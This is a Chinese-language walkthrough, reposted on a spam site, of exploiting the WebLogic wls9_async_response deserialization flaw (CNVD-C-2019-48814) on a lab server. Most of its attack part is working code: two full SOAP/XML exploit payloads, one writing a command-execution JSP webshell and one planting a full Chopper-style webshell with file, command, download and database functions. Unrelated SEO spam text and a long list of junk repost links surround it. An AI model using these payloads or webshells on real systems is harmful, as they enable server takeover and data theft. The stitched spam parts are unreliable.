当前位置: 首页 > news >正文

怎么注册一个网站深圳网络公司视频

怎么注册一个网站,深圳网络公司视频,正规软件开发培训学校,北京网站建设项目漏洞概述#xff1a; #xff08;CNVD-C-2019-48814#xff09;Weblogic wls9_async_response 反序列化远程命令执行漏洞存在于wls9-async组件中#xff0c;攻击者可以向/_async/AsyncResponseService路径下传入构造好的恶意xml格式的数据#xff0c;传入的数据在服务器端…漏洞概述 CNVD-C-2019-48814Weblogic wls9_async_response 反序列化远程命令执行漏洞存在于wls9-async组件中攻击者可以向/_async/AsyncResponseService路径下传入构造好的恶意xml格式的数据传入的数据在服务器端反序列化时执行其中的恶意代码从而造成远程命令执行。 漏洞环境 服务器:windowsserver2008搭建好weblogic环境。IP192.168.131.157 复现过程 首先访问/_async/AsyncResponseService来判断是否启用该组件。 刷新页面并启用burpsuite抓包拦截/_async/AsyncResponseService数据包发送到repeater修改method为POST修改新增字段的值把context-type修改成text/xml。poc如下 soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ xmlns:wsahttp://www.w3.org/2005/08/addressing xmlns:asyhttp://www.bea.com/async/AsyncResponseServicesoapenv:Headerwsa:Actionxx/wsa:Actionwsa:RelatesToxx/wsa:RelatesTowork:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/java version1.8.0_131 classjava.beans.xmlDecoderobject classjava.io.PrintWriterstringservers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp/stringvoid methodprintlnstring![CDATA[%if(123.equals(request.getParameter(pwd))){java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(cmd)).getInputStream();int a -1; byte[] b new byte[1024]; out.print(pre); while((ain.read(b))!-1){out.println(new String(b)); }out.print(/pre);} %]]/string/voidvoid methodclose//object/java/work:WorkContext/soapenv:Headersoapenv:Bodyasy:onAsyncDelivery//soapenv:Body/soapenv:Envelope成功后访问http://192.168.131.157:7001/bea_wls_internal/webshell.jsp?pwd123cmdwhoami 命令成功执行修改cmd的值为systeminfo命令也被执行。 上传一句话木马并连接 poc如下一句话木马为菜刀中jsp格式木马连接密码cmd POST /_async/AsyncResponseService HTTP/1.1 Host: 192.168.131.157:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,en-US;q0.5,en;q0.3 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age0 Content-Type: text/xml Content-Length: 9839soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ xmlns:wsahttp://www.w3.org/2005/08/addressing xmlns:asyhttp://www.bea.com/async/AsyncResponseServicesoapenv:Headerwsa:Actionxx/wsa:Actionwsa:RelatesToxx/wsa:RelatesTowork:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/java version1.8.0_131 classjava.beans.xmlDecoderobject classjava.io.PrintWriterstringservers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/sh.jsp/stringvoid methodprintlnstring![CDATA[%page importjava.io.*,java.util.*,java.net.*,java.sql.*,java.text.*% %!String Pwd cmd;String cs UTF-8;String EC(String s) throws Exception {return new String(s.getBytes(ISO-8859-1),cs);}Connection GC(String s) throws Exception {String[] x s.trim().split(choraheiheihei);Class.forName(x[0].trim());if(x[1].indexOf(jdbc:oracle)!-1){return DriverManager.getConnection(x[1].trim():x[4],x[2].equalsIgnoreCase([/null])?:x[2],x[3].equalsIgnoreCase([/null])?:x[3]);}else{Connection c DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase([/null])?:x[2],x[3].equalsIgnoreCase([/null])?:x[3]);if (x.length 4) {c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb) throws Exception {File k new File();File r[] k.listRoots();for (int i 0; i r.length; i) {sb.append(r[i].toString().substring(0, 2));}}void BB(String s, StringBuffer sb) throws Exception {File oF new File(s), l[] oF.listFiles();String sT, sQ, sF ;java.util.Date dt;SimpleDateFormat fm new SimpleDateFormat(yyyy-MM-dd HH:mm:ss);for (int i 0; i l.length; i) {dt new java.util.Date(l[i].lastModified());sT fm.format(dt);sQ l[i].canRead() ? R : ;sQ l[i].canWrite() ? W : ;if (l[i].isDirectory()) {sb.append(l[i].getName() /\t sT \t l[i].length() \t sQ \n);} else {sFl[i].getName() \t sT \t l[i].length() \t sQ \n;}}sb.append(sF);}void EE(String s) throws Exception {File f new File(s);if (f.isDirectory()) {File x[] f.listFiles();for (int k 0; k x.length; k) {if (!x[k].delete()) {EE(x[k].getPath());}}}f.delete();}void FF(String s, HttpServletResponse r) throws Exception {int n;byte[] b new byte[512];r.reset();ServletOutputStream os r.getOutputStream();BufferedInputStream is new BufferedInputStream(new FileInputStream(s));os.write((- |).getBytes(), 0, 3);while ((n is.read(b, 0, 512)) ! -1) {os.write(b, 0, n);}os.write((| -).getBytes(), 0, 3);os.close();is.close();}void GG(String s, String d) throws Exception {String h 0123456789ABCDEF;File f new File(s);f.createNewFile();FileOutputStream os new FileOutputStream(f);for (int i 0; i d.length(); i 2) {os.write((h.indexOf(d.charAt(i)) 4 | h.indexOf(d.charAt(i 1))));}os.close();}void HH(String s, String d) throws Exception {File sf new File(s), df new File(d);if (sf.isDirectory()) {if (!df.exists()) {df.mkdir();}File z[] sf.listFiles();for (int j 0; j z.length; j) {HH(s / z[j].getName(), d / z[j].getName());}} else {FileInputStream is new FileInputStream(sf);FileOutputStream os new FileOutputStream(df);int n;byte[] b new byte[512];while ((n is.read(b, 0, 512)) ! -1) {os.write(b, 0, n);}is.close();os.close();}}void II(String s, String d) throws Exception {File sf new File(s), df new File(d);sf.renameTo(df);}void JJ(String s) throws Exception {File f new File(s);f.mkdir();}void KK(String s, String t) throws Exception {File f new File(s);SimpleDateFormat fm new SimpleDateFormat(yyyy-MM-dd HH:mm:ss);java.util.Date dt fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s, String d) throws Exception {URL u new URL(s);int n 0;FileOutputStream os new FileOutputStream(d);HttpURLConnection h (HttpURLConnection) u.openConnection();InputStream is h.getInputStream();byte[] b new byte[512];while ((n is.read(b)) ! -1) {os.write(b, 0, n);}os.close();is.close();h.disconnect();}void MM(InputStream is, StringBuffer sb) throws Exception {String l;BufferedReader br new BufferedReader(new InputStreamReader(is));while ((l br.readLine()) ! null) {sb.append(l \r\n);}}void NN(String s, StringBuffer sb) throws Exception {Connection c GC(s);ResultSet r s.indexOf(jdbc:oracle)!-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while (r.next()) {sb.append(r.getString(1) \t|\t\r\n);}r.close();c.close();}void OO(String s, StringBuffer sb) throws Exception {Connection c GC(s);String[] x s.trim().split(choraheiheihei);ResultSet r c.getMetaData().getTables(null,s.indexOf(jdbc:oracle)!-1?x.length5?x[5]:x[4]:null, %, new String[]{TABLE});while (r.next()) {sb.append(r.getString(TABLE_NAME) \t|\t\r\n);}r.close();c.close();}void PP(String s, StringBuffer sb) throws Exception {String[] x s.trim().split(\r\n);Connection c GC(s);Statement m c.createStatement(1005, 1007);ResultSet r m.executeQuery(select * from x[x.length-1]);ResultSetMetaData d r.getMetaData();for (int i 1; i d.getColumnCount(); i) {sb.append(d.getColumnName(i) ( d.getColumnTypeName(i) )\t);}r.close();m.close();c.close();}void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {Connection c GC(s);Statement m c.createStatement(1005, 1008);BufferedWriter bw null;try {ResultSet r m.executeQuery(q.indexOf(--f:)!-1?q.substring(0,q.indexOf(--f:)):q);ResultSetMetaData d r.getMetaData();int n d.getColumnCount();for (int i 1; i n; i) {sb.append(d.getColumnName(i) \t|\t);}sb.append(\r\n);if(q.indexOf(--f:)!-1){File file new File(p);if(q.indexOf(-to:)-1){file.mkdir();}bw new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf(-to:)!-1?p.trim():pq.substring(q.indexOf(--f:) 4,q.length()).trim()),true),cs));}while (r.next()) {for (int i 1; i n; i) {if(q.indexOf(--f:)!-1){bw.write(r.getObject(i)\t);bw.flush();}else{sb.append(r.getObject(i) \t|\t);}}if(bw!null){bw.newLine();}sb.append(\r\n);}r.close();if(bw!null){bw.close();}} catch (Exception e) {sb.append(Result\t|\t\r\n);try {m.executeUpdate(q);sb.append(Execute Successfully!\t|\t\r\n);} catch (Exception ee) {sb.append(ee.toString() \t|\t\r\n);}}m.close();c.close();} % %//String Z EC(request.getParameter(Pwd) , cs);cs request.getParameter(code) ! null ? request.getParameter(code) :cs;request.setCharacterEncoding(cs);response.setContentType(text/html;charset cs);StringBuffer sb new StringBuffer(); if (request.getParameter(Pwd) ! null) {try {String Z EC(request.getParameter(action) );String z1 EC(request.getParameter(z1) );String z2 EC(request.getParameter(z2) );sb.append(- |);String s request.getSession().getServletContext().getRealPath(/);if (Z.equals(A)) {sb.append(s \t);if (!s.substring(0, 1).equals(/)) {AA(sb);}} else if (Z.equals(B)) {BB(z1, sb);} else if (Z.equals(C)) {String l ;BufferedReader br new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while ((l br.readLine()) ! null) {sb.append(l \r\n);}br.close();} else if (Z.equals(D)) {BufferedWriter bw new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append(1);} else if (Z.equals(E)) {EE(z1);sb.append(1);} else if (Z.equals(F)) {FF(z1, response);} else if (Z.equals(G)) {GG(z1, z2);sb.append(1);} else if (Z.equals(H)) {HH(z1, z2);sb.append(1);} else if (Z.equals(I)) {II(z1, z2);sb.append(1);} else if (Z.equals(J)) {JJ(z1);sb.append(1);} else if (Z.equals(K)) {KK(z1, z2);sb.append(1);} else if (Z.equals(L)) {LL(z1, z2);sb.append(1);} else if (Z.equals(M)) {String[] c { z1.substring(2), z1.substring(0, 2), z2 };Process p Runtime.getRuntime().exec(c);MM(p.getInputStream(), sb);MM(p.getErrorStream(), sb);} else if (Z.equals(N)) {NN(z1, sb);} else if (Z.equals(O)) {OO(z1, sb);} else if (Z.equals(P)) {PP(z1, sb);} else if (Z.equals(Q)) {QQ(cs, z1, z2, sb,z2.indexOf(-to:)!-1?z2.substring(z2.indexOf(-to:)4,z2.length()):s.replaceAll(\\\\, /)images/);}} catch (Exception e) {sb.append(ERROR :// e.toString());}sb.append(| -);out.print(sb.toString()); } % ]]/string/voidvoid methodclose//object/java/work:WorkContext/soapenv:Headersoapenv:Bodyasy:onAsyncDelivery//soapenv:Body/soapenv:Envelope 成功连接后并不能打开任何文件夹菜鸡还在努力中。
文章转载自:
http://www.morning.hmsong.com.gov.cn.hmsong.com
http://www.morning.sgqw.cn.gov.cn.sgqw.cn
http://www.morning.jzykw.cn.gov.cn.jzykw.cn
http://www.morning.tkjh.cn.gov.cn.tkjh.cn
http://www.morning.jbpodhb.cn.gov.cn.jbpodhb.cn
http://www.morning.rckdq.cn.gov.cn.rckdq.cn
http://www.morning.tbzcl.cn.gov.cn.tbzcl.cn
http://www.morning.hxmqb.cn.gov.cn.hxmqb.cn
http://www.morning.gwgjl.cn.gov.cn.gwgjl.cn
http://www.morning.mwwnz.cn.gov.cn.mwwnz.cn
http://www.morning.wbxrl.cn.gov.cn.wbxrl.cn
http://www.morning.jbhhj.cn.gov.cn.jbhhj.cn
http://www.morning.kyzja.com.gov.cn.kyzja.com
http://www.morning.rhgtc.cn.gov.cn.rhgtc.cn
http://www.morning.hzqjgas.com.gov.cn.hzqjgas.com
http://www.morning.httzf.cn.gov.cn.httzf.cn
http://www.morning.tjpmf.cn.gov.cn.tjpmf.cn
http://www.morning.zqzhd.cn.gov.cn.zqzhd.cn
http://www.morning.fwkq.cn.gov.cn.fwkq.cn
http://www.morning.gjmbk.cn.gov.cn.gjmbk.cn
http://www.morning.mzjbz.cn.gov.cn.mzjbz.cn
http://www.morning.tbstj.cn.gov.cn.tbstj.cn
http://www.morning.ntwfr.cn.gov.cn.ntwfr.cn
http://www.morning.hhrpy.cn.gov.cn.hhrpy.cn
http://www.morning.rgmls.cn.gov.cn.rgmls.cn
http://www.morning.rqfnl.cn.gov.cn.rqfnl.cn
http://www.morning.gxtbn.cn.gov.cn.gxtbn.cn
http://www.morning.lbpqk.cn.gov.cn.lbpqk.cn
http://www.morning.mpnff.cn.gov.cn.mpnff.cn
http://www.morning.psgbk.cn.gov.cn.psgbk.cn
http://www.morning.nrxsl.cn.gov.cn.nrxsl.cn
http://www.morning.rxyz.cn.gov.cn.rxyz.cn
http://www.morning.ljhnn.cn.gov.cn.ljhnn.cn
http://www.morning.mlzyx.cn.gov.cn.mlzyx.cn
http://www.morning.kbntl.cn.gov.cn.kbntl.cn
http://www.morning.rlbfp.cn.gov.cn.rlbfp.cn
http://www.morning.bhjyh.cn.gov.cn.bhjyh.cn
http://www.morning.drfcj.cn.gov.cn.drfcj.cn
http://www.morning.xhgxd.cn.gov.cn.xhgxd.cn
http://www.morning.i-bins.com.gov.cn.i-bins.com
http://www.morning.sbncr.cn.gov.cn.sbncr.cn
http://www.morning.mjqms.cn.gov.cn.mjqms.cn
http://www.morning.qnywy.cn.gov.cn.qnywy.cn
http://www.morning.nywrm.cn.gov.cn.nywrm.cn
http://www.morning.mnslh.cn.gov.cn.mnslh.cn
http://www.morning.sqxr.cn.gov.cn.sqxr.cn
http://www.morning.tddrh.cn.gov.cn.tddrh.cn
http://www.morning.wwklf.cn.gov.cn.wwklf.cn
http://www.morning.yzxlkj.com.gov.cn.yzxlkj.com
http://www.morning.rgmls.cn.gov.cn.rgmls.cn
http://www.morning.pqypt.cn.gov.cn.pqypt.cn
http://www.morning.yldgw.cn.gov.cn.yldgw.cn
http://www.morning.xmhpq.cn.gov.cn.xmhpq.cn
http://www.morning.hxsdh.cn.gov.cn.hxsdh.cn
http://www.morning.wcqkp.cn.gov.cn.wcqkp.cn
http://www.morning.rjrh.cn.gov.cn.rjrh.cn
http://www.morning.hxycm.cn.gov.cn.hxycm.cn
http://www.morning.rpth.cn.gov.cn.rpth.cn
http://www.morning.rbxsk.cn.gov.cn.rbxsk.cn
http://www.morning.nzsdr.cn.gov.cn.nzsdr.cn
http://www.morning.lywcd.cn.gov.cn.lywcd.cn
http://www.morning.fdrb.cn.gov.cn.fdrb.cn
http://www.morning.bhrkx.cn.gov.cn.bhrkx.cn
http://www.morning.dwgcx.cn.gov.cn.dwgcx.cn
http://www.morning.lgsqy.cn.gov.cn.lgsqy.cn
http://www.morning.mtxrq.cn.gov.cn.mtxrq.cn
http://www.morning.jspnx.cn.gov.cn.jspnx.cn
http://www.morning.rbmm.cn.gov.cn.rbmm.cn
http://www.morning.zztkt.cn.gov.cn.zztkt.cn
http://www.morning.rkjz.cn.gov.cn.rkjz.cn
http://www.morning.tyrlk.cn.gov.cn.tyrlk.cn
http://www.morning.trfrl.cn.gov.cn.trfrl.cn
http://www.morning.glncb.cn.gov.cn.glncb.cn
http://www.morning.zlgr.cn.gov.cn.zlgr.cn
http://www.morning.hhmfp.cn.gov.cn.hhmfp.cn
http://www.morning.bmmhs.cn.gov.cn.bmmhs.cn
http://www.morning.wqtzs.cn.gov.cn.wqtzs.cn
http://www.morning.xkwrb.cn.gov.cn.xkwrb.cn
http://www.morning.gqtzb.cn.gov.cn.gqtzb.cn
http://www.morning.bpmfr.cn.gov.cn.bpmfr.cn
http://www.tj-hxxt.cn/news/266252.html

相关文章:

  • 用asp做的网站有哪些wap网站开发用什么语言
  • 成品动漫和视频网站入口上海企业网络推广方案
  • 成都建站开发网站建设的客户怎么找
  • 10个网站 云主机需求成都网站建设源码世纪
  • 最好的seo优化公司seo公司哪家好咨询
  • 沈阳网站订制wordpress附件插件下载
  • 电子商务网站建设与管理试卷6邯郸有没有专门做写字楼的网站
  • 各大网站提交入口网址北京社保网址
  • 襄阳门户网站建设做网站网站应该注意什么
  • 济南传承网站建设李聪无锡建站方案
  • p2p网站建设费用如何建立自己的手机网站
  • 灵犀科技-网站开发sem推广优化
  • 杭州网站建设哪家权威电子商务网站建设内容
  • 一诺建站3000款免费软件app下载
  • 网站的市场如何制作湖北广盛建设集团网站
  • 怎么制作免费的企业网站网站入口
  • 电商网站里的水果图片怎么做的优化大师tv版
  • 自己做盗版小说网站做网站找个人还是找公司
  • 网站开发的路径是什么sns社交网站 有哪些
  • 怎么建网站教程图解有网站了怎么设计网页
  • 重庆网站建设公司海口现货交易十大平台
  • 为什么要建立电子商务网站wordpress怎么修改首页网址导航
  • 手机网站设计神器温州百度快速排名优化
  • 翼城网站建设提升学历一般多少钱
  • 新闻资讯网站模板下载淮阳住房城乡建设局网站
  • 如何建立网站赚钱wordpress前端怎么写
  • 做门票售卖网站wordpress 文章点击数
  • 自己做公司网站企业网站怎么查
  • 做网站工作量怎么算陕西网站建设费用
  • 上海政务网站建设ps教程网站有哪些